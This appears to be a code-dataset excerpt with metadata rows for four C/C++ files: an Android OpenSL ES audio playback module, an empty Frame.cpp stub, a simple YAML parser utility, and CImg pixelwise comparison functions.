blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 4 201 | content_id stringlengths 40 40 | detected_licenses listlengths 0 85 | license_type stringclasses 2
values | repo_name stringlengths 7 100 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 260
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 11.4k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 80
values | src_encoding stringclasses 28
values | language stringclasses 1
value | is_vendor bool 1
class | is_generated bool 2
classes | length_bytes int64 8 9.86M | extension stringclasses 52
values | content stringlengths 8 9.86M | authors listlengths 1 1 | author stringlengths 0 119 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
c82b3b0c19418ae8db47a8e026e10aad2cb0abaa | 373e1e417c50e76e824d4bd1a97927c9f5002a49 | /app/src/main/cpp/opensl_audio.cpp | 6b9df1c0eae4b52457617ff28cd68e69c1c8e9db | [] | no_license | yishengma/AndroidSampleCode | c980e16f89a3c666d8c45d7116862ec66686b430 | 24adda813ab5fd8c59951a06658ccde79e24ba28 | refs/heads/master | 2020-04-18T08:10:32.388901 | 2019-05-03T11:49:19 | 2019-05-03T11:49:19 | 167,387,391 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 16,637 | cpp | #include <jni.h>
#include <android/log.h>
// 导入 OpenSLES 的头文件
#include <SLES/OpenSLES.h>
#include <SLES/OpenSLES_Android.h>
// for native asset manager
#include <sys/types.h>
#include <android/asset_manager.h>
#include <android/asset_manager_jni.h>
#include <stdio.h>
#include <malloc.h>
#include "WlQueue.h"
#include "pcmdata.h"
//打印日志
#include <android/log.h>
#define LOGI(FORMAT,...) __android_log_print(ANDROID_LOG_INFO,"OpenSl",FORMAT,##__VA_ARGS__);
#define LOGE(FORMAT,...) __android_log_print(ANDROID_LOG_ERROR,"OpenSl",FORMAT,##__VA_ARGS__);
// 引擎接口
SLObjectItf engineObject = NULL;
SLEngineItf engineEngine = NULL;
//混音器
SLObjectItf outputMixObject = NULL;
SLEnvironmentalReverbItf outputMixEnvironmentalReverb = NULL;
SLEnvironmentalReverbSettings reverbSettings = SL_I3DL2_ENVIRONMENT_PRESET_STONECORRIDOR;
//assets播放器Error:error: undefined reference to 'slCreateEngine'
SLObjectItf fdPlayerObject = NULL;
SLPlayItf fdPlayerPlay = NULL;
SLVolumeItf fdPlayerVolume = NULL; //声音控制接口
//uri播放器
SLObjectItf uriPlayerObject = NULL;
SLPlayItf uriPlayerPlay = NULL;
SLVolumeItf uriPlayerVolume = NULL;
//pcm
SLObjectItf pcmPlayerObject = NULL;
SLPlayItf pcmPlayerPlay = NULL;
SLVolumeItf pcmPlayerVolume = NULL;
//缓冲器队列接口
SLAndroidSimpleBufferQueueItf pcmBufferQueue;
FILE *pcmFile;
void *buffer;
uint8_t *out_buffer;
void release();
void createEngine()
{
SLresult result;
result = slCreateEngine(&engineObject, 0, NULL, 0, NULL, NULL);
result = (*engineObject)->Realize(engineObject, SL_BOOLEAN_FALSE);
result = (*engineObject)->GetInterface(engineObject, SL_IID_ENGINE, &engineEngine);
}
extern "C"
JNIEXPORT void JNICALL
Java_apiratehat_androidsamplecode_audioAndVideo_middle_OpenSl_OpenSlActivity_playAudioByOpenSL_assets(JNIEnv *env, jobject instance, jobject assetManager, jstring filename) {
release();
const char *utf8 = env->GetStringUTFChars(filename, NULL);
// use asset manager to open asset by filename
AAssetManager * mgr = AAssetManager_fromJava(env, assetManager);
AAsset * asset = AAssetManager_open(mgr, utf8, AASSET_MODE_UNKNOWN);
env->ReleaseStringUTFChars(filename, utf8);
// open asset as file descriptor
off_t start, length;
int fd = AAsset_openFileDescriptor(asset, &start, &length);
AAsset_close(asset);
SLresult result;
//第一步,创建引擎
createEngine();
//第二步,创建混音器
const SLInterfaceID mids[1] = {SL_IID_ENVIRONMENTALREVERB};
const SLboolean mreq[1] = {SL_BOOLEAN_FALSE};
result = (*engineEngine)->CreateOutputMix(engineEngine, &outputMixObject, 1, mids, mreq);
(void)result;
result = (*outputMixObject)->Realize(outputMixObject, SL_BOOLEAN_FALSE);
(void)result;
result = (*outputMixObject)->GetInterface(outputMixObject, SL_IID_ENVIRONMENTALREVERB, &outputMixEnvironmentalReverb);
if (SL_RESULT_SUCCESS == result) {
result = (*outputMixEnvironmentalReverb)->SetEnvironmentalReverbProperties(outputMixEnvironmentalReverb, &reverbSettings);
(void)result;
}
//第三步,设置播放器参数和创建播放器
// 1、 配置 audio source
SLDataLocator_AndroidFD loc_fd = {SL_DATALOCATOR_ANDROIDFD, fd, start, length};
SLDataFormat_MIME format_mime = {SL_DATAFORMAT_MIME, NULL, SL_CONTAINERTYPE_UNSPECIFIED};
SLDataSource audioSrc = {&loc_fd, &format_mime};
// 2、 配置 audio sink
SLDataLocator_OutputMix loc_outmix = {SL_DATALOCATOR_OUTPUTMIX, outputMixObject};
SLDataSink audioSnk = {&loc_outmix, NULL};
// 创建播放器
const SLInterfaceID ids[3] = {SL_IID_SEEK, SL_IID_MUTESOLO, SL_IID_VOLUME};
const SLboolean req[3] = {SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE};
result = (*engineEngine)->CreateAudioPlayer(engineEngine, &fdPlayerObject, &audioSrc, &audioSnk, 3, ids, req);
(void)result;
// 实现播放器
result = (*fdPlayerObject)->Realize(fdPlayerObject, SL_BOOLEAN_FALSE);
(void)result;
// 得到播放器接口
result = (*fdPlayerObject)->GetInterface(fdPlayerObject, SL_IID_PLAY, &fdPlayerPlay);
(void)result;
// 得到声音控制接口
result = (*fdPlayerObject)->GetInterface(fdPlayerObject, SL_IID_VOLUME, &fdPlayerVolume);
(void)result;
// 设置播放状态
if (NULL != fdPlayerPlay) {
result = (*fdPlayerPlay)->SetPlayState(fdPlayerPlay, SL_PLAYSTATE_PLAYING);
(void)result;
}
//设置播放音量 (100 * -50:静音 )
(*fdPlayerVolume)->SetVolumeLevel(fdPlayerVolume, 20 * -50);
}
extern "C"
JNIEXPORT void JNICALL
Java_apiratehat_androidsamplecode_audioAndVideo_middle_OpenSl_OpenSlActivity_playAudioByOpenSL_uri(JNIEnv *env, jobject instance, jstring uri) {
SLresult result;
release();
// convert Java string to UTF-8
const char *utf8 = env->GetStringUTFChars(uri, NULL);
//第一步,创建引擎
createEngine();
//第二步,创建混音器
const SLInterfaceID mids[1] = {SL_IID_ENVIRONMENTALREVERB};
const SLboolean mreq[1] = {SL_BOOLEAN_FALSE};
result = (*engineEngine)->CreateOutputMix(engineEngine, &outputMixObject, 1, mids, mreq);
(void)result;
result = (*outputMixObject)->Realize(outputMixObject, SL_BOOLEAN_FALSE);
(void)result;
result = (*outputMixObject)->GetInterface(outputMixObject, SL_IID_ENVIRONMENTALREVERB, &outputMixEnvironmentalReverb);
if (SL_RESULT_SUCCESS == result) {
result = (*outputMixEnvironmentalReverb)->SetEnvironmentalReverbProperties(
outputMixEnvironmentalReverb, &reverbSettings);
(void)result;
}
//第三步,设置播放器参数和创建播放器
// configure audio source
// (requires the INTERNET permission depending on the uri parameter)
SLDataLocator_URI loc_uri = {SL_DATALOCATOR_URI, (SLchar *) utf8};
SLDataFormat_MIME format_mime = {SL_DATAFORMAT_MIME, NULL, SL_CONTAINERTYPE_UNSPECIFIED};
SLDataSource audioSrc = {&loc_uri, &format_mime};
// configure audio sink
SLDataLocator_OutputMix loc_outmix = {SL_DATALOCATOR_OUTPUTMIX, outputMixObject};
SLDataSink audioSnk = {&loc_outmix, NULL};
// create audio player
const SLInterfaceID ids[3] = {SL_IID_SEEK, SL_IID_MUTESOLO, SL_IID_VOLUME};
const SLboolean req[3] = {SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE};
result = (*engineEngine)->CreateAudioPlayer(engineEngine, &uriPlayerObject, &audioSrc, &audioSnk, 3, ids, req);
(void)result;
// release the Java string and UTF-8
env->ReleaseStringUTFChars(uri, utf8);
// realize the player
result = (*uriPlayerObject)->Realize(uriPlayerObject, SL_BOOLEAN_FALSE);
// this will always succeed on Android, but we check result for portability to other platforms
if (SL_RESULT_SUCCESS != result) {
(*uriPlayerObject)->Destroy(uriPlayerObject);
uriPlayerObject = NULL;
return;
}
// get the play interface
result = (*uriPlayerObject)->GetInterface(uriPlayerObject, SL_IID_PLAY, &uriPlayerPlay);
(void)result;
// get the volume interface
result = (*uriPlayerObject)->GetInterface(uriPlayerObject, SL_IID_VOLUME, &uriPlayerVolume);
(void)result;
if (NULL != uriPlayerPlay) {
// set the player's state
result = (*uriPlayerPlay)->SetPlayState(uriPlayerPlay, SL_PLAYSTATE_PLAYING);
(void)result;
}
//设置播放音量 (100 * -50:静音 )
// (*uriPlayerVolume)->SetVolumeLevel(uriPlayerVolume, 0 * -50);
}
void release()
{
if (pcmPlayerObject != NULL) {
(*pcmPlayerObject)->Destroy(pcmPlayerObject);
pcmPlayerObject = NULL;
pcmPlayerPlay = NULL;
pcmPlayerVolume = NULL;
pcmBufferQueue = NULL;
pcmFile = NULL;
buffer = NULL;
out_buffer = NULL;
}
// destroy file descriptor audio player object, and invalidate all associated interfaces
if (fdPlayerObject != NULL) {
(*fdPlayerObject)->Destroy(fdPlayerObject);
fdPlayerObject = NULL;
fdPlayerPlay = NULL;
fdPlayerVolume = NULL;
}
// destroy URI audio player object, and invalidate all associated interfaces
if (uriPlayerObject != NULL) {
(*uriPlayerObject)->Destroy(uriPlayerObject);
uriPlayerObject = NULL;
uriPlayerPlay = NULL;
uriPlayerVolume = NULL;
}
// destroy output mix object, and invalidate all associated interfaces
if (outputMixObject != NULL) {
(*outputMixObject)->Destroy(outputMixObject);
outputMixObject = NULL;
outputMixEnvironmentalReverb = NULL;
}
// destroy engine object, and invalidate all associated interfaces
if (engineObject != NULL) {
(*engineObject)->Destroy(engineObject);
engineObject = NULL;
engineEngine = NULL;
}
}
void getPcmData(void **pcm)
{
while(!feof(pcmFile))
{
fread(out_buffer, 44100 * 2 * 2, 1, pcmFile);
if(out_buffer == NULL)
{
LOGI("%s", "read end");
break;
} else{
LOGI("%s", "reading");
}
*pcm = out_buffer;
break;
}
}
void pcmBufferCallBack(SLAndroidSimpleBufferQueueItf bf, void * context)
{
//assert(NULL == context);
getPcmData(&buffer);
// for streaming playback, replace this test by logic to find and fill the next buffer
if (NULL != buffer) {
SLresult result;
// enqueue another buffer
result = (*pcmBufferQueue)->Enqueue(pcmBufferQueue, buffer, 44100 * 2 * 2);
// the most likely other result is SL_RESULT_BUFFER_INSUFFICIENT,
// which for this code example would indicate a programming error
}
}
extern "C"
JNIEXPORT void JNICALL
Java_apiratehat_androidsamplecode_audioAndVideo_middle_OpenSl_OpenSlActivity_playAudioByOpenSL_1pcm(JNIEnv *env, jobject instance,
jstring pamPath_) {
release();
const char *pamPath = env->GetStringUTFChars(pamPath_, 0);
pcmFile = fopen(pamPath, "r");
if(pcmFile == NULL)
{
LOGE("%s", "fopen file error");
return;
}
out_buffer = (uint8_t *) malloc(44100 * 2 * 2);
SLresult result;
// TODO
//第一步,创建引擎
createEngine();
//第二步,创建混音器
const SLInterfaceID mids[1] = {SL_IID_ENVIRONMENTALREVERB};
const SLboolean mreq[1] = {SL_BOOLEAN_FALSE};
result = (*engineEngine)->CreateOutputMix(engineEngine, &outputMixObject, 1, mids, mreq);
(void)result;
result = (*outputMixObject)->Realize(outputMixObject, SL_BOOLEAN_FALSE);
(void)result;
result = (*outputMixObject)->GetInterface(outputMixObject, SL_IID_ENVIRONMENTALREVERB, &outputMixEnvironmentalReverb);
if (SL_RESULT_SUCCESS == result) {
result = (*outputMixEnvironmentalReverb)->SetEnvironmentalReverbProperties(
outputMixEnvironmentalReverb, &reverbSettings);
(void)result;
}
SLDataLocator_OutputMix outputMix = {SL_DATALOCATOR_OUTPUTMIX, outputMixObject};
SLDataSink audioSnk = {&outputMix, NULL};
// 第三步,配置PCM格式信息
SLDataLocator_AndroidSimpleBufferQueue android_queue={SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE,2};
SLDataFormat_PCM pcm={
SL_DATAFORMAT_PCM,//播放pcm格式的数据
2,//2个声道(立体声)
SL_SAMPLINGRATE_44_1,//44100hz的频率
SL_PCMSAMPLEFORMAT_FIXED_16,//位数 16位
SL_PCMSAMPLEFORMAT_FIXED_16,//和位数一致就行
SL_SPEAKER_FRONT_LEFT | SL_SPEAKER_FRONT_RIGHT,//立体声(前左前右)
SL_BYTEORDER_LITTLEENDIAN//结束标志
};
SLDataSource slDataSource = {&android_queue, &pcm};
const SLInterfaceID ids[3] = {SL_IID_BUFFERQUEUE, SL_IID_EFFECTSEND, SL_IID_VOLUME};
const SLboolean req[3] = {SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE};
result = (*engineEngine)->CreateAudioPlayer(engineEngine, &pcmPlayerObject, &slDataSource, &audioSnk, 3, ids, req);
//初始化播放器
(*pcmPlayerObject)->Realize(pcmPlayerObject, SL_BOOLEAN_FALSE);
// 得到接口后调用 获取Player接口
(*pcmPlayerObject)->GetInterface(pcmPlayerObject, SL_IID_PLAY, &pcmPlayerPlay);
// 注册回调缓冲区 获取缓冲队列接口
(*pcmPlayerObject)->GetInterface(pcmPlayerObject, SL_IID_BUFFERQUEUE, &pcmBufferQueue);
//缓冲接口回调
(*pcmBufferQueue)->RegisterCallback(pcmBufferQueue, pcmBufferCallBack, NULL);
// 获取音量接口
(*pcmPlayerObject)->GetInterface(pcmPlayerObject, SL_IID_VOLUME, &pcmPlayerVolume);
// 获取播放状态接口
(*pcmPlayerPlay)->SetPlayState(pcmPlayerPlay, SL_PLAYSTATE_PLAYING);
// 主动调用回调函数开始工作
pcmBufferCallBack(pcmBufferQueue, NULL);
env->ReleaseStringUTFChars(pamPath_, pamPath);
}
WlQueue *wlQueue = NULL;
pthread_t playpcm;
void pcmBufferCallBack2(SLAndroidSimpleBufferQueueItf bf, void * context)
{
pcmdata * data = wlQueue->getPcmdata();
if (NULL != data) {
(*pcmBufferQueue)->Enqueue(pcmBufferQueue, data->getData(), data->getSize());
}
}
void *createOpensl(void *data)
{
SLresult result;
// TODO
//第一步,创建引擎
createEngine();
//第二步,创建混音器
const SLInterfaceID mids[1] = {SL_IID_ENVIRONMENTALREVERB};
const SLboolean mreq[1] = {SL_BOOLEAN_FALSE};
result = (*engineEngine)->CreateOutputMix(engineEngine, &outputMixObject, 1, mids, mreq);
(void)result;
result = (*outputMixObject)->Realize(outputMixObject, SL_BOOLEAN_FALSE);
(void)result;
result = (*outputMixObject)->GetInterface(outputMixObject, SL_IID_ENVIRONMENTALREVERB, &outputMixEnvironmentalReverb);
if (SL_RESULT_SUCCESS == result) {
result = (*outputMixEnvironmentalReverb)->SetEnvironmentalReverbProperties(
outputMixEnvironmentalReverb, &reverbSettings);
(void)result;
}
SLDataLocator_OutputMix outputMix = {SL_DATALOCATOR_OUTPUTMIX, outputMixObject};
SLDataSink audioSnk = {&outputMix, NULL};
// 第三步,配置PCM格式信息
SLDataLocator_AndroidSimpleBufferQueue android_queue={SL_DATALOCATOR_ANDROIDSIMPLEBUFFERQUEUE,2};
SLDataFormat_PCM pcm={
SL_DATAFORMAT_PCM,//播放pcm格式的数据
2,//2个声道(立体声)
SL_SAMPLINGRATE_44_1,//44100hz的频率
SL_PCMSAMPLEFORMAT_FIXED_16,//位数 16位
SL_PCMSAMPLEFORMAT_FIXED_16,//和位数一致就行
SL_SPEAKER_FRONT_LEFT | SL_SPEAKER_FRONT_RIGHT,//立体声(前左前右)
SL_BYTEORDER_LITTLEENDIAN//结束标志
};
SLDataSource slDataSource = {&android_queue, &pcm};
const SLInterfaceID ids[3] = {SL_IID_BUFFERQUEUE, SL_IID_EFFECTSEND, SL_IID_VOLUME};
const SLboolean req[3] = {SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE, SL_BOOLEAN_TRUE};
result = (*engineEngine)->CreateAudioPlayer(engineEngine, &pcmPlayerObject, &slDataSource, &audioSnk, 3, ids, req);
//初始化播放器
(*pcmPlayerObject)->Realize(pcmPlayerObject, SL_BOOLEAN_FALSE);
// 得到接口后调用 获取Player接口
(*pcmPlayerObject)->GetInterface(pcmPlayerObject, SL_IID_PLAY, &pcmPlayerPlay);
// 注册回调缓冲区 获取缓冲队列接口
(*pcmPlayerObject)->GetInterface(pcmPlayerObject, SL_IID_BUFFERQUEUE, &pcmBufferQueue);
//缓冲接口回调
(*pcmBufferQueue)->RegisterCallback(pcmBufferQueue, pcmBufferCallBack2, NULL);
// 获取音量接口
(*pcmPlayerObject)->GetInterface(pcmPlayerObject, SL_IID_VOLUME, &pcmPlayerVolume);
// 获取播放状态接口
(*pcmPlayerPlay)->SetPlayState(pcmPlayerPlay, SL_PLAYSTATE_PLAYING);
// 主动调用回调函数开始工作
pcmBufferCallBack2(pcmBufferQueue, NULL);
pthread_exit(&playpcm);
}
extern "C"
JNIEXPORT void JNICALL
Java_apiratehat_androidsamplecode_audioAndVideo_middle_OpenSl_OpenSlActivity_sendPcmData(JNIEnv *env, jobject instance,
jbyteArray data_, jint size) {
jbyte *data = env->GetByteArrayElements(data_, NULL);
// TODO
if(wlQueue == NULL)
{
wlQueue = new WlQueue();
pthread_create(&playpcm, NULL, createOpensl, NULL);
}
pcmdata * pdata = new pcmdata((char *) data, size);
wlQueue->putPcmdata(pdata);
LOGE("size is %d queue size is %d", size, wlQueue->getPcmdataSize());
env->ReleaseByteArrayElements(data_, data, 0);
}
| [
"13104862372@163.com"
] | 13104862372@163.com |
f327fcb0f6fc83f1f529a4437dfbb4253d29f417 | 535821d34486b90276925ac4f771483b86fc534b | /jswf/flash/Frame.cpp | 8039e10afea6c15792777cd8405d1de218b5cfe9 | [] | no_license | iRath96/jswf | 6dd7114d165594570852e5ba6c70f53310dc861d | 6aec6a3f54e760fa6d1da19ffeebc6645b0fb9ea | refs/heads/master | 2016-09-06T05:35:36.058667 | 2015-02-15T18:58:31 | 2015-02-15T18:58:31 | 30,837,928 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 155 | cpp | //
// Frame.cpp
// jswf
//
// Created by Alexander Rath on 14.12.14.
// Copyright (c) 2014 Alexander Rath. All rights reserved.
//
#include "Frame.h"
| [
"irath96@gmail.com"
] | irath96@gmail.com |
50d3e109cc81fa05beabe4a07222fbee92cece3a | 9af8cbdb48459f0e88b053fba67248a35561aab5 | /utils/yamlutil.cc | a210906ddd84c544c6901a99b6057c6097868d5a | [
"MIT"
] | permissive | wangjiekai/unixtar | 349860127b8b159342103cb27470a18b622af963 | a244dcc0d4e7a990be2e89db0ac6c6ba4a2cd632 | refs/heads/master | 2023-04-21T02:00:15.561478 | 2021-05-12T10:49:39 | 2021-05-12T10:49:39 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,824 | cc | #include "yamlutil.h"
#include "log.h"
#include "strutil.h"
#include <cstdio>
#include <string>
#include <fstream>
#include <set>
#include <stack>
#include <cassert>
namespace yaml {
static std::set<YamlDescriptor *> sg_yaml_cache;
static int ParseYaml(const char *_path, YamlDescriptor *_desc);
static Node *GetParentNodeByIndentDiff(std::stack<Node *> &_stack,
int _indent_diff);
// debug only
static void UnitTest();
static void PrintYamlTree(YamlDescriptor *_desc);
static void PrintNode(Node *_node);
/**
*
* Tab should be 2 spaces.
*
* @param _path
* @param _desc
* @return
*/
static int ParseYaml(const char *_path, YamlDescriptor *_desc) {
std::ifstream fin(_path);
if (!fin) {
LogE("!fin: %s", _path)
assert(false);
}
std::stack<Node *> stack;
Node *parent = _desc;
parent->key = std::string(_path);
parent->value = new ValueObj();
int last_indents = 0;
std::string line;
while (getline(fin, line)) {
str::delafter(line, '#');
if (line.empty()) { continue; }
std::vector<std::string> separate;
str::split(line, ":", separate);
int indents = (int) line.find_first_not_of(' ');
int indent_diff = indents - last_indents;
if (separate.size() == 2) {
if (indent_diff < 0) {
parent = GetParentNodeByIndentDiff(stack, indent_diff);
}
auto node = new Node();
node->key = str::trim(separate[0]);
auto value = new ValueLeaf();
value->data = str::trim(separate[1]);
node->value = value;
parent->value = parent->value ? parent->value : new ValueObj();
parent->value->Insert(node);
} else if (separate.size() == 1) { // "xxx:" or "yyy"
if (line.find(':') != std::string::npos) { // "xxx:"
auto node = new Node();
node->key = std::string(str::trim(separate[0]));
if (indent_diff < 0) {
parent = GetParentNodeByIndentDiff(stack, indent_diff);
}
parent->value->Insert(node);
stack.push(parent);
parent = node;
if (indent_diff > 0 && indent_diff != 2) {
LogE("%s: incorrect yaml indents, line: %s", _path, line.c_str())
assert(false);
}
} else { // "yyy"
assert(parent->value->Type() == AbsValue::kArray);
auto *value_arr = (ValueArray *) parent->value;
auto *leaf = new ValueLeaf();
leaf->data = std::string(str::trim(separate[0]));
value_arr->InsertValueLeaf(leaf);
}
} else if (str::trim(line) == "-") {
parent->value = parent->value ? parent->value : new ValueArray();
assert(parent->value->Type() == AbsValue::kArray);
((ValueArray *) parent->value)->MarkArrStart();
} else {
LogE("%s: incorrect yaml formula, line: %s", _path, line.c_str())
assert(false);
}
last_indents = indents;
}
return 0;
}
static Node *GetParentNodeByIndentDiff(std::stack<Node *> &_stack,
int _indent_diff) {
LogD("stack size: %ld, indent_diff: %d", _stack.size(), _indent_diff)
assert(_indent_diff < 0 && _indent_diff % 2 == 0);
Node *parent = nullptr;
while (_indent_diff < 0) {
assert(!_stack.empty());
parent = _stack.top();
_stack.pop();
_indent_diff += 2;
}
if (!parent) {
LogE("parent nullptr, stack size: %ld", _stack.size())
}
return parent;
}
YamlDescriptor *Load(const char *_path) {
for (auto & cache : sg_yaml_cache) {
if (cache->key == _path) {
LogD("hit yaml cache: %s", _path)
return cache;
}
}
FILE *fp = fopen(_path, "r");
if (fp) {
auto *desc = new YamlDescriptor();
desc->Fp(fp);
ParseYaml(_path, desc);
// PrintYamlTree(desc);
if (sg_yaml_cache.size() < 10) {
sg_yaml_cache.insert(desc);
}
return desc;
}
LogE("fp == NULL, path: %s", _path)
return nullptr;
}
int ValueLeaf::To(int &_res) const {
_res = (int) strtol(data.c_str(), nullptr, 10);
return 0;
}
int ValueLeaf::To(uint16_t &_res) const {
_res = (uint16_t) strtol(data.c_str(), nullptr, 10);
return 0;
}
int ValueLeaf::To(double &_res) const {
_res = strtod(data.c_str(), nullptr);
return 0;
}
int ValueLeaf::To(std::string &_res) const {
_res = std::string(data);
return 0;
}
int Close(YamlDescriptor *_desc) {
sg_yaml_cache.erase(_desc);
int ret = fclose(_desc->Fp());
delete _desc, _desc = nullptr;
return ret;
}
bool IsCached(YamlDescriptor *_desc) {
return sg_yaml_cache.find(_desc) != sg_yaml_cache.end();
}
Node::Node() : value(nullptr) { }
Node::~Node() {
delete value, value = nullptr;
}
YamlDescriptor::YamlDescriptor() : Node(), fp(nullptr) { }
ValueLeaf *YamlDescriptor::GetLeaf(char const *_key) {
assert(value->Type() == AbsValue::kObject);
AbsValue *val = ((ValueObj *) value)->__Get(_key);
if (!val) {
return nullptr;
}
if (val->Type() != AbsValue::kLeaf) {
LogE("key(%s) is not a leaf", _key)
assert(false);
}
return (ValueLeaf *) val;
}
ValueArray *YamlDescriptor::GetArray(char const *_key) {
assert(value->Type() == AbsValue::kObject);
AbsValue *val = ((ValueObj *) value)->__Get(_key);
if (!val) {
return nullptr;
}
if (val->Type() != AbsValue::kArray) {
LogE("key(%s) is not an Array", _key)
assert(false);
}
return (ValueArray *) val;
}
ValueObj *YamlDescriptor::GetYmlObj(char const *_key) {
assert(value->Type() == AbsValue::kObject);
AbsValue *val = ((ValueObj *) value)->__Get(_key);
if (!val) {
return nullptr;
}
if (val->Type() != AbsValue::kObject) {
LogE("key(%s) is not an Object", _key)
assert(false);
}
return (ValueObj *) val;
}
FILE *YamlDescriptor::Fp() const { return fp; }
void YamlDescriptor::Fp(FILE *_fp) { fp = _fp; }
YamlDescriptor::~YamlDescriptor() = default;
ValueArray::ValueArray() : curr(-1), len_of_obj_in_arr(-1) {}
AbsValue::TType ValueLeaf::Type() { return kLeaf; }
AbsValue::TType ValueArray::Type() { return kArray; }
AbsValue::TType ValueObj::Type() { return kObject; }
void ValueLeaf::Insert(Node *_node) {
LogPrintStacktrace(4)
LogE("do not call ValueLeaf::Insert()")
assert(false);
}
void ValueArray::Insert(Node *_node) {
ValueObj *obj;
if (curr == 0) {
obj = new ValueObj();
obj->nodes.push_back(_node);
arr.push_back(obj);
} else {
obj = (ValueObj *) arr.back();
obj->nodes.push_back(_node);
}
++curr;
}
void ValueArray::InsertValueLeaf(ValueLeaf *_leaf) {
assert(curr == 0);
arr.push_back(_leaf);
}
void ValueArray::MarkArrStart() {
if (len_of_obj_in_arr == -1 && curr > 0) {
len_of_obj_in_arr = curr;
} else if (len_of_obj_in_arr != curr) {
LogE("objects in yaml array must be of the same length")
assert(false);
}
curr = 0;
}
std::vector<ValueObj *> &ValueArray::AsYmlObjects() {
assert(len_of_obj_in_arr > 1);
return (std::vector<ValueObj *> &) arr;
}
std::vector<ValueLeaf *> &ValueArray::AsYmlLeaves() {
assert(len_of_obj_in_arr == 1);
return (std::vector<ValueLeaf *> &) arr;
}
void ValueObj::Insert(Node *_node) {
nodes.push_back(_node);
}
ValueLeaf *ValueObj::GetLeaf(char const *_key) {
AbsValue *val = __Get(_key);
if (!val) {
return nullptr;
}
if (val->Type() != AbsValue::kLeaf) {
LogE("key(%s) is not a leaf", _key)
assert(false);
}
return (ValueLeaf *) val;
}
ValueObj *ValueObj::GetYmlObj(char const *_key) {
AbsValue *val = __Get(_key);
if (!val) {
return nullptr;
}
if (val->Type() != AbsValue::kObject) {
LogE("key(%s) is not an Object", _key)
assert(false);
}
return (ValueObj *) val;
}
ValueArray *ValueObj::GetArr(char const *_key) {
AbsValue *val = __Get(_key);
if (!val) {
return nullptr;
}
if (val->Type() != AbsValue::kArray) {
LogE("key(%s) is not an Object", _key)
assert(false);
}
return (ValueArray *) val;
}
AbsValue *ValueObj::__Get(char const *_key) {
for (auto &node : nodes) {
if (node->key == _key) {
return node->value;
}
}
LogE("no such key: %s", _key)
return nullptr;
}
AbsValue::~AbsValue() = default;
ValueLeaf::~ValueLeaf() {
// LogD("delete leaf: %s", data.c_str())
}
ValueObj::~ValueObj() {
for (auto & node : nodes) {
delete node, node = nullptr;
}
}
ValueArray::~ValueArray() {
for (auto & abs_value : arr) {
delete abs_value, abs_value = nullptr;
}
}
static void PrintYamlTree(YamlDescriptor *_desc) {
PrintNode(_desc);
}
static void PrintNode(Node *_node) {
LogI("key: %s", _node->key.c_str())
if (_node->value->Type() == AbsValue::kLeaf) {
LogI("value: %s", ((ValueLeaf *) _node->value)->data.c_str())
} else if (_node->value->Type() == AbsValue::kObject) {
for (auto &node : ((ValueObj *) _node->value)->nodes) {
PrintNode(node);
}
} else if (_node->value->Type() == AbsValue::kArray) {
for (auto &ele : ((ValueArray *) _node->value)->arr) {
if (ele->Type() == AbsValue::kLeaf) {
LogI("value: %s", ((ValueLeaf *) ele)->data.c_str())
} else {
auto obj = (ValueObj *) ele;
for (auto &node : obj->nodes) {
PrintNode(node);
}
}
}
}
}
static void UnitTest() {
yaml::YamlDescriptor *desc = yaml::Load(
"/etc/unixtar/proxyserverconf.yml");
if (!desc) {
return;
}
for (auto & webserver : desc->GetArray("webservers")->AsYmlObjects()) {
std::string ip;
uint16_t port;
uint16_t weight;
webserver->GetLeaf("ip")->To(ip);
webserver->GetLeaf("port")->To(port);
webserver->GetLeaf("weight")->To(weight);
LogI("%s %d %d", ip.c_str(), port, weight)
}
desc->GetYmlObj("aaa")->GetYmlObj("oops");
std::string ddd;
desc->GetYmlObj("aaa")
->GetYmlObj("ccc")
->GetLeaf("ddd")
->To(ddd);
LogI("ddd: %s", ddd.c_str())
yaml::Close(desc);
}
}
| [
"16602809965@163.com"
] | 16602809965@163.com |
0619cd26b41becec080f2138d9b6d44b7ab778a8 | 4d7fba4f6f68108955a3adc9d4223e249b45d0c3 | /esteban/lib/operadores_relacionales.h | 61dd6e91529a918ad2b381d16518b8a3217f8ca9 | [] | no_license | efornal/captura | 79dea329caeb5a41883d64742e190b08b9e6fa7f | f8ad02896839d5414fe068d05673f43f4b8ed0f3 | refs/heads/master | 2016-09-05T18:09:44.333224 | 2010-08-26T02:06:41 | 2010-08-26T02:06:41 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 844 | h | #include <CImg.h>
using namespace cimg_library;
CImg<unsigned char> menor ( CImg<unsigned char>img1, CImg<unsigned char>img2 ) {
cimg_forXY( img1, x, y ) {
img1(x,y) = ( img1(x,y) < img2(x,y) ) ? 0 : 255;
}
return img1;
}
CImg<unsigned char> menor_igual ( CImg<unsigned char>img1, CImg<unsigned char>img2 ) {
cimg_forXY( img1, x, y ) {
img1(x,y) = ( img1(x,y) <= img2(x,y) ) ? 0 : 255;
}
return img1;
}
CImg<unsigned char> mayor ( CImg<unsigned char>img1, CImg<unsigned char>img2 ) {
cimg_forXY( img1, x, y ) {
img1(x,y) = ( img1(x,y) > img2(x,y) ) ? 0 : 255;
}
return img1;
}
CImg<unsigned char> mayor_igual ( CImg<unsigned char>img1, CImg<unsigned char>img2 ) {
cimg_forXY( img1, x, y ) {
img1(x,y) = ( img1(x,y) >= img2(x,y) ) ? 0 : 255;
}
return img1;
}
| [
"efornal@gmail.com"
] | efornal@gmail.com |
